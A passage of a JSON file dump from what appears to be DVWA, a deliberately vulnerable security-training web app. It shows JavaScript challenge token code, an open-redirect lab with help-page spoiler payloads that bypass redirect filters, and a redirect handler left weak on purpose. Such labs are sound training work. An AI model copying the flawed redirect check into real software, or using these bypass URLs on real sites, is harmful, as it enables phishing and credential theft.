0x6a09e667;\n      this.h1 = 0xbb67ae85;\n      this.h2 = 0x3c6ef372;\n      this.h3 = 0xa54ff53a;\n      this.h4 = 0x510e527f;\n      this.h5 = 0x9b05688c;\n      this.h6 = 0x1f83d9ab;\n      this.h7 = 0x5be0cd19;\n    }\n\n    this.block = this.start = this.bytes = this.hBytes = 0;\n    this.finalized = this.hashed = false;\n    this.first = true;\n    this.is224 = is224;\n  }\n\n  Sha256.prototype.update = function (message) {\n    if (this.finalized) {\n      return;\n    }\n    var notString, type = typeof message;\n    if (type !== 'string') {\n      if (type === 'object') {\n        if (message === null) {\n          throw new Error(ERROR);\n        } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {\n          message = new Uint8Array(message);\n        } else if (!Array.isArray(message)) {\n          if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {\n            throw new Error(ERROR);\n          }\n        }\n      } else {\n        throw new Error(ERROR);\n      }\n      notString = true;\n    }\n    var code, index = 0, i, length = message.length, blocks = this.blocks;\n\n    while (index < length) {\n      if (this.hashed) {\n        this.hashed = false;\n        blocks[0] = this.block;\n        blocks[16] = blocks[1] = blocks[2] = blocks[3] =\n          blocks[4] = blocks[5] = blocks[6] = blocks[7] =\n          blocks[8] = blocks[9] = blocks[10] = blocks[11] =\n          blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0;\n      }\n\n      if (notString) {\n        for (i = this.start; index < length && i < 64; ++index) {\n          blocks[i >> 2] |= message[index] << SHIFT[i++ & 3];\n        }\n      } else {\n        for (i = this.start; index < length && i < 64; ++index) {\n          code = message.charCodeAt(index);\n          if (code < 0x80) {\n            blocks[i >> 2] |= code << SHIFT[i++ & 3];\n          } else if (code < 0x800) {\n            blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];\n            blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];\n          } else if (code < 0xd800 || code >= 0xe000) {\n            blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];\n            blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];\n            blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];\n          } else {\n            code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));\n            blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];\n            blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];\n            blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];\n            blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];\n          }\n        }\n      }\n\n      this.lastByteIndex = i;\n      this.bytes += i - this.start;\n      if (i >= 64) {\n        this.block = blocks[16];\n        this.start = i - 64;\n        this.hash();\n        this.hashed = true;\n      } else {\n        this.start = i;\n      }\n    }\n    if (this.bytes > 4294967295) {\n      this.hBytes += this.bytes / 4294967296 << 0;\n      this.bytes = this.bytes % 4294967296;\n    }\n    return this;\n  };\n\n  Sha256.prototype.finalize = function () {\n    if (this.finalized) {\n      return;\n    }\n    this.finalized = true;\n    var blocks = this.blocks, i = this.lastByteIndex;\n    blocks[16] = this.block;\n    blocks[i >> 2] |= EXTRA[i & 3];\n    this.block = blocks[16];\n    if (i >= 56) {\n      if (!this.hashed) {\n        this.hash();\n      }\n      blocks[0] = this.block;\n      blocks[16] = blocks[1] = blocks[2] = blocks[3] =\n        blocks[4] = blocks[5] = blocks[6] = blocks[7] =\n        blocks[8] = blocks[9] = blocks[10] = blocks[11] =\n        blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0;\n    }\n    blocks[14] = this.hBytes << 3 | this.bytes >>> 29;\n    blocks[15] = this.bytes << 3;\n    this.hash();\n  };\n\n  Sha256.prototype.hash = function () {\n    var a = this.h0, b = this.h1, c = this.h2, d = this.h3, e = this.h4, f = this.h5, g = this.h6,\n      h = this.h7, blocks = this.blocks, j, s0, s1, maj, t1, t2, ch, ab, da, cd, bc;\n\n    for (j = 16; j < 64; ++j) {\n      // rightrotate\n      t1 = blocks[j - 15];\n      s0 = ((t1 >>> 7) | (t1 << 25)) ^ ((t1 >>> 18) | (t1 << 14)) ^ (t1 >>> 3);\n      t1 = blocks[j - 2];\n      s1 = ((t1 >>> 17) | (t1 << 15)) ^ ((t1 >>> 19) | (t1 << 13)) ^ (t1 >>> 10);\n      blocks[j] = blocks[j - 16] + s0 + blocks[j - 7] + s1 << 0;\n    }\n\n    bc = b & c;\n    for (j = 0; j < 64; j += 4) {\n      if (this.first) {\n        if (this.is224) {\n          ab = 300032;\n          t1 = blocks[0] - 1413257819;\n          h = t1 - 150054599 << 0;\n          d = t1 + 24177077 << 0;\n        } else {\n          ab = 704751109;\n          t1 = blocks[0] - 210244248;\n          h = t1 - 1521486534 << 0;\n          d = t1 + 143694565 << 0;\n        }\n        this.first = false;\n      } else {\n        s0 = ((a >>> 2) | (a << 30)) ^ ((a >>> 13) | (a << 19)) ^ ((a >>> 22) | (a << 10));\n        s1 = ((e >>> 6) | (e << 26)) ^ ((e >>> 11) | (e << 21)) ^ ((e >>> 25) | (e << 7));\n        ab = a & b;\n        maj = ab ^ (a & c) ^ bc;\n        ch = (e & f) ^ (~e & g);\n        t1 = h + s1 + ch + K[j] + blocks[j];\n        t2 = s0 + maj;\n        h = d + t1 << 0;\n        d = t1 + t2 << 0;\n      }\n      s0 = ((d >>> 2) | (d << 30)) ^ ((d >>> 13) | (d << 19)) ^ ((d >>> 22) | (d << 10));\n      s1 = ((h >>> 6) | (h << 26)) ^ ((h >>> 11) | (h << 21)) ^ ((h >>> 25) | (h << 7));\n      da = d & a;\n      maj = da ^ (d & b) ^ ab;\n      ch = (h & e) ^ (~h & f);\n      t1 = g + s1 + ch + K[j + 1] + blocks[j + 1];\n      t2 = s0 + maj;\n      g = c + t1 << 0;\n      c = t1 + t2 << 0;\n      s0 = ((c >>> 2) | (c << 30)) ^ ((c >>> 13) | (c << 19)) ^ ((c >>> 22) | (c << 10));\n      s1 = ((g >>> 6) | (g << 26)) ^ ((g >>> 11) | (g << 21)) ^ ((g >>> 25) | (g << 7));\n      cd = c & d;\n      maj = cd ^ (c & a) ^ da;\n      ch = (g & h) ^ (~g & e);\n      t1 = f + s1 + ch + K[j + 2] + blocks[j + 2];\n      t2 = s0 + maj;\n      f = b + t1 << 0;\n      b = t1 + t2 << 0;\n      s0 = ((b >>> 2) | (b << 30)) ^ ((b >>> 13) | (b << 19)) ^ ((b >>> 22) | (b << 10));\n      s1 = ((f >>> 6) | (f << 26)) ^ ((f >>> 11) | (f << 21)) ^ ((f >>> 25) | (f << 7));\n      bc = b & c;\n      maj = bc ^ (b & d) ^ cd;\n      ch = (f & g) ^ (~f & h);\n      t1 = e + s1 + ch + K[j + 3] + blocks[j + 3];\n      t2 = s0 + maj;\n      e = a + t1 << 0;\n      a = t1 + t2 << 0;\n    }\n\n    this.h0 = this.h0 + a << 0;\n    this.h1 = this.h1 + b << 0;\n    this.h2 = this.h2 + c << 0;\n    this.h3 = this.h3 + d << 0;\n    this.h4 = this.h4 + e << 0;\n    this.h5 = this.h5 + f << 0;\n    this.h6 = this.h6 + g << 0;\n    this.h7 = this.h7 + h << 0;\n  };\n\n  Sha256.prototype.hex = function () {\n    this.finalize();\n\n    var h0 = this.h0, h1 = this.h1, h2 = this.h2, h3 = this.h3, h4 = this.h4, h5 = this.h5,\n      h6 = this.h6, h7 = this.h7;\n\n    var hex = HEX_CHARS[(h0 >> 28) & 0x0F] + HEX_CHARS[(h0 >> 24) & 0x0F] +\n      HEX_CHARS[(h0 >> 20) & 0x0F] + HEX_CHARS[(h0 >> 16) & 0x0F] +\n      HEX_CHARS[(h0 >> 12) & 0x0F] + HEX_CHARS[(h0 >> 8) & 0x0F] +\n      HEX_CHARS[(h0 >> 4) & 0x0F] + HEX_CHARS[h0 & 0x0F] +\n      HEX_CHARS[(h1 >> 28) & 0x0F] + HEX_CHARS[(h1 >> 24) & 0x0F] +\n      HEX_CHARS[(h1 >> 20) & 0x0F] + HEX_CHARS[(h1 >> 16) & 0x0F] +\n      HEX_CHARS[(h1 >> 12) & 0x0F] + HEX_CHARS[(h1 >> 8) & 0x0F] +\n      HEX_CHARS[(h1 >> 4) & 0x0F] + HEX_CHARS[h1 & 0x0F] +\n      HEX_CHARS[(h2 >> 28) & 0x0F] + HEX_CHARS[(h2 >> 24) & 0x0F] +\n      HEX_CHARS[(h2 >> 20) & 0x0F] + HEX_CHARS[(h2 >> 16) & 0x0F] +\n      HEX_CHARS[(h2 >> 12) & 0x0F] + HEX_CHARS[(h2 >> 8) & 0x0F] +\n      HEX_CHARS[(h2 >> 4) & 0x0F] + HEX_CHARS[h2 & 0x0F] +\n      HEX_CHARS[(h3 >> 28) & 0x0F] + HEX_CHARS[(h3 >> 24) & 0x0F] +\n      HEX_CHARS[(h3 >> 20) & 0x0F] + HEX_CHARS[(h3 >> 16) & 0x0F] +\n      HEX_CHARS[(h3 >> 12) & 0x0F] + HEX_CHARS[(h3 >> 8) & 0x0F] +\n      HEX_CHARS[(h3 >> 4) & 0x0F] + HEX_CHARS[h3 & 0x0F] +\n      HEX_CHARS[(h4 >> 28) & 0x0F] + HEX_CHARS[(h4 >> 24) & 0x0F] +\n      HEX_CHARS[(h4 >> 20) & 0x0F] + HEX_CHARS[(h4 >> 16) & 0x0F] +\n      HEX_CHARS[(h4 >> 12) & 0x0F] + HEX_CHARS[(h4 >> 8) & 0x0F] +\n      HEX_CHARS[(h4 >> 4) & 0x0F] + HEX_CHARS[h4 & 0x0F] +\n      HEX_CHARS[(h5 >> 28) & 0x0F] + HEX_CHARS[(h5 >> 24) & 0x0F] +\n      HEX_CHARS[(h5 >> 20) & 0x0F] + HEX_CHARS[(h5 >> 16) & 0x0F] +\n      HEX_CHARS[(h5 >> 12) & 0x0F] + HEX_CHARS[(h5 >> 8) & 0x0F] +\n      HEX_CHARS[(h5 >> 4) & 0x0F] + HEX_CHARS[h5 & 0x0F] +\n      HEX_CHARS[(h6 >> 28) & 0x0F] + HEX_CHARS[(h6 >> 24) & 0x0F] +\n      HEX_CHARS[(h6 >> 20) & 0x0F] + HEX_CHARS[(h6 >> 16) & 0x0F] +\n      HEX_CHARS[(h6 >> 12) & 0x0F] + HEX_CHARS[(h6 >> 8) & 0x0F] +\n      HEX_CHARS[(h6 >> 4) & 0x0F] + HEX_CHARS[h6 & 0x0F];\n    if (!this.is224) {\n      hex += HEX_CHARS[(h7 >> 28) & 0x0F] + HEX_CHARS[(h7 >> 24) & 0x0F] +\n        HEX_CHARS[(h7 >> 20) & 0x0F] + HEX_CHARS[(h7 >> 16) & 0x0F] +\n        HEX_CHARS[(h7 >> 12) & 0x0F] + HEX_CHARS[(h7 >> 8) & 0x0F] +\n        HEX_CHARS[(h7 >> 4) & 0x0F] + HEX_CHARS[h7 & 0x0F];\n    }\n    return hex;\n  };\n\n  Sha256.prototype.toString = Sha256.prototype.hex;\n\n  Sha256.prototype.digest = function () {\n    this.finalize();\n\n    var h0 = this.h0, h1 = this.h1, h2 = this.h2, h3 = this.h3, h4 = this.h4, h5 = this.h5,\n      h6 = this.h6, h7 = this.h7;\n\n    var arr = [\n      (h0 >> 24) & 0xFF, (h0 >> 16) & 0xFF, (h0 >> 8) & 0xFF, h0 & 0xFF,\n      (h1 >> 24) & 0xFF, (h1 >> 16) & 0xFF, (h1 >> 8) & 0xFF, h1 & 0xFF,\n      (h2 >> 24) & 0xFF, (h2 >> 16) & 0xFF, (h2 >> 8) & 0xFF, h2 & 0xFF,\n      (h3 >> 24) & 0xFF, (h3 >> 16) & 0xFF, (h3 >> 8) & 0xFF, h3 & 0xFF,\n      (h4 >> 24) & 0xFF, (h4 >> 16) & 0xFF, (h4 >> 8) & 0xFF, h4 & 0xFF,\n      (h5 >> 24) & 0xFF, (h5 >> 16) & 0xFF, (h5 >> 8) & 0xFF, h5 & 0xFF,\n      (h6 >> 24) & 0xFF, (h6 >> 16) & 0xFF, (h6 >> 8) & 0xFF, h6 & 0xFF\n    ];\n    if (!this.is224) {\n      arr.push((h7 >> 24) & 0xFF, (h7 >> 16) & 0xFF, (h7 >> 8) & 0xFF, h7 & 0xFF);\n    }\n    return arr;\n  };\n\n  Sha256.prototype.array = Sha256.prototype.digest;\n\n  Sha256.prototype.arrayBuffer = function () {\n    this.finalize();\n\n    var buffer = new ArrayBuffer(this.is224 ? 28 : 32);\n    var dataView = new DataView(buffer);\n    dataView.setUint32(0, this.h0);\n    dataView.setUint32(4, this.h1);\n    dataView.setUint32(8, this.h2);\n    dataView.setUint32(12, this.h3);\n    dataView.setUint32(16, this.h4);\n    dataView.setUint32(20, this.h5);\n    dataView.setUint32(24, this.h6);\n    if (!this.is224) {\n      dataView.setUint32(28, this.h7);\n    }\n    return buffer;\n  };\n\n  function HmacSha256(key, is224, sharedMemory) {\n    var i, type = typeof key;\n    if (type === 'string') {\n      var bytes = [], length = key.length, index = 0, code;\n      for (i = 0; i < length; ++i) {\n        code = key.charCodeAt(i);\n        if (code < 0x80) {\n          bytes[index++] = code;\n        } else if (code < 0x800) {\n          bytes[index++] = (0xc0 | (code >> 6));\n          bytes[index++] = (0x80 | (code & 0x3f));\n        } else if (code < 0xd800 || code >= 0xe000) {\n          bytes[index++] = (0xe0 | (code >> 12));\n          bytes[index++] = (0x80 | ((code >> 6) & 0x3f));\n          bytes[index++] = (0x80 | (code & 0x3f));\n        } else {\n          code = 0x10000 + (((code & 0x3ff) << 10) | (key.charCodeAt(++i) & 0x3ff));\n          bytes[index++] = (0xf0 | (code >> 18));\n          bytes[index++] = (0x80 | ((code >> 12) & 0x3f));\n          bytes[index++] = (0x80 | ((code >> 6) & 0x3f));\n          bytes[index++] = (0x80 | (code & 0x3f));\n        }\n      }\n      key = bytes;\n    } else {\n      if (type === 'object') {\n        if (key === null) {\n          throw new Error(ERROR);\n        } else if (ARRAY_BUFFER && key.constructor === ArrayBuffer) {\n          key = new Uint8Array(key);\n        } else if (!Array.isArray(key)) {\n          if (!ARRAY_BUFFER || !ArrayBuffer.isView(key)) {\n            throw new Error(ERROR);\n          }\n        }\n      } else {\n        throw new Error(ERROR);\n      }\n    }\n\n    if (key.length > 64) {\n      key = (new Sha256(is224, true)).update(key).array();\n    }\n\n    var oKeyPad = [], iKeyPad = [];\n    for (i = 0; i < 64; ++i) {\n      var b = key[i] || 0;\n      oKeyPad[i] = 0x5c ^ b;\n      iKeyPad[i] = 0x36 ^ b;\n    }\n\n    Sha256.call(this, is224, sharedMemory);\n\n    this.update(iKeyPad);\n    this.oKeyPad = oKeyPad;\n    this.inner = true;\n    this.sharedMemory = sharedMemory;\n  }\n  HmacSha256.prototype = new Sha256();\n\n  HmacSha256.prototype.finalize = function () {\n    Sha256.prototype.finalize.call(this);\n    if (this.inner) {\n      this.inner = false;\n      var innerHash = this.array();\n      Sha256.call(this, this.is224, this.sharedMemory);\n      this.update(this.oKeyPad);\n      this.update(innerHash);\n      Sha256.prototype.finalize.call(this);\n    }\n  };\n\n  var exports = createMethod();\n  exports.sha256 = exports;\n  exports.sha224 = createMethod(true);\n  exports.sha256.hmac = createHmacMethod();\n  exports.sha224.hmac = createHmacMethod(true);\n\n  if (COMMON_JS) {\n    module.exports = exports;\n  } else {\n    root.sha256 = exports.sha256;\n    root.sha224 = exports.sha224;\n    if (AMD) {\n      define(function () {\n        return exports;\n      });\n    }\n  }\n})();\n\nfunction do_something(e){for(var t=\"\",n=e.length-1;n>=0;n--)t+=e[n];return t}\n\nfunction token_part_3(t, y=\"ZZ\") {\n\tdocument.getElementById(\"token\").value=sha256(document.getElementById(\"token\").value+y)\n}\n\nfunction token_part_2(e=\"YY\") {\n\tdocument.getElementById(\"token\").value=sha256(e+document.getElementById(\"token\").value)\n}\n\nfunction token_part_1(a,b) {\n\tdocument.getElementById(\"token\").value=do_something(document.getElementById(\"phrase\").value)\n}\n\ndocument.getElementById(\"phrase\").value=\"\";\n\nsetTimeout(function(){token_part_2(\"XX\")},300);\n\ndocument.getElementById(\"send\").addEventListener(\"click\", token_part_3); \n\ntoken_part_1(\"ABCD\", 44);\n"
  },
  {
    "path": "vulnerabilities/javascript/source/impossible.php",
    "content": ""
  },
  {
    "path": "vulnerabilities/javascript/source/low.php",
    "content": "<?php\n$page[ 'body' ] .= <<<EOF\n<script>\n\n/*\nMD5 code from here\nhttps://github.com/blueimp/JavaScript-MD5\n*/\n\n!function(n){\"use strict\";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r=\"\",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e=\"\";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+=\"0123456789abcdef\".charAt(t>>>4&15)+\"0123456789abcdef\".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}\"function\"==typeof define&&define.amd?define(function(){return A}):\"object\"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);\n\n\tfunction rot13(inp) {\n\t\treturn inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<=\"Z\"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});\n\t}\n\n\tfunction generate_token() {\n\t\tvar phrase = document.getElementById(\"phrase\").value;\n\t\tdocument.getElementById(\"token\").value = md5(rot13(phrase));\n\t}\n\n\tgenerate_token();\n</script>\nEOF;\n?>\n"
  },
  {
    "path": "vulnerabilities/javascript/source/medium.js",
    "content": "function do_something(e){for(var t=\"\",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething(\"XX\")},300);function do_elsesomething(e){document.getElementById(\"token\").value=do_something(e+document.getElementById(\"phrase\").value+\"XX\")}\n"
  },
  {
    "path": "vulnerabilities/javascript/source/medium.php",
    "content": "<?php\n$page[ 'body' ] .= '<script src=\"' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js\"></script>';\n?>\n"
  },
  {
    "path": "vulnerabilities/open_redirect/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - Open HTTP Redirect</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>\r\n\t\tOWASP define this as:\r\n\t\t</p>\r\n\t\t<blockquote cite=\"https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html\">\r\n\t\t\tUnvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.\r\n\t\t</blockquote>\r\n\r\n\t\t<p>As suggested above, a common use for this is to create a URL which initially goes to the real site but then redirects the victim off to a site controlled by the attacker. This site could be a clone of the target's login page to steal credentials, a request for credit card details to pay for a service on the target site, or simply a spam page full of advertising.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Abuse the redirect page to move the user off the DVWA site or onto a different page on the site than expected.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>The redirect page has no limitations, you can redirect to anywhere you want.</p>\r\n\t\t<p>Spoiler: <span class=\"spoiler\">Try browsing to /vulnerabilities/open_redirect/source/low.php?redirect=https://digi.ninja</span></p>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The code prevents you from using absolute URLs to take the user off the site, so you can either use relative URLs to take them to other pages on the same site or a <a href=\"https://en.wikipedia.org/wiki/Wikipedia:Protocol-relative_URL\" target=\"_blank\">Protocol-relative URL</a>.</p>\r\n\r\n\t\t<p>Spoiler: <span class=\"spoiler\">Try browsing to /vulnerabilities/open_redirect/source/low.php?redirect=//digi.ninja</span></p>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>The redirect page tries to lock you to only redirect to the info.php page, but does this by checking that the URL contains \"info.php\".</p>\r\n\r\n\t\t<p>Spoiler: <span class=\"spoiler\">Try browsing to /vulnerabilities/open_redirect/source/low.php?redirect=https://digi.ninja/?a=info.php</span></p>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>Rather than accepting a page or URL as the redirect target, the system uses ID values to tell the redirect page where to redirect to. This ties the system down to only redirect to pages it knows about and so there is no way for an attacker to modify things to go to a page of their choosing.</p>\r\n\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Password_cracking' ); ?></p>\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/open_redirect/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: Open HTTP Redirect' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'open_redirect';\r\n$page[ 'help_button' ]   = 'open_redirect';\r\n$page[ 'source_button' ] = 'open_redirect';\r\ndvwaDatabaseConnect();\r\n\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$link1 = \"source/low.php?redirect=info.php?id=1\";\r\n\t\t$link2 = \"source/low.php?redirect=info.php?id=2\";\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$link1 = \"source/medium.php?redirect=info.php?id=1\";\r\n\t\t$link2 = \"source/medium.php?redirect=info.php?id=2\";\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$link1 = \"source/high.php?redirect=info.php?id=1\";\r\n\t\t$link2 = \"source/high.php?redirect=info.php?id=2\";\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$link1 = \"source/impossible.php?redirect=1\";\r\n\t\t$link2 = \"source/impossible.php?redirect=2\";\r\n\t\tbreak;\r\n}\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: Open HTTP Redirect</h1>\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<h2>Hacker History</h2>\r\n\t\t<p>\r\n\t\t\tHere are two links to some famous hacker quotes, see if you can hack them.\r\n\t\t</p>\r\n\t\t<ul>\r\n\t\t\t<li><a href='{$link1}'>Quote 1</a></li>\r\n\t\t\t<li><a href='{$link2}'>Quote 2</a></li>\r\n\t\t</ul>\r\n\t\t{$html}\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html', \"OWASP Unvalidated Redirects and Forwards Cheat Sheet\" ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/04-Testing_for_Client-side_URL_Redirect', \"WSTG - Testing for Client-side URL Redirect\") . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://cwe.mitre.org/data/definitions/601.html', \"Mitre - CWE-601: URL Redirection to Untrusted Site ('Open Redirect')\" ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/open_redirect/source/high.php",
    "content": "<?php\r\n\r\nif (array_key_exists (\"redirect\", $_GET) && $_GET['redirect'] != \"\") {\r\n\tif (strpos($_GET['redirect'], \"info.php\") !== false) {\r\n\t\theader (\"location: \" . $_GET['redirect']);\r\n\t\texit;\r\n\t} else {\r\n\t\thttp_response_code (500);\r\n\t\t?>\r\n\t\t<p>You can only redirect to the info page.</p>\r\n\t\t<?php\r\n\t\texit;\r\n\t}\r\n}\r\n\r\nhttp_response_code (500);\r\n?>\r\n<p>Missing redirect target.</p>\r\n<?php\r\nexit;\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/open_redirect/source/impossible.php",
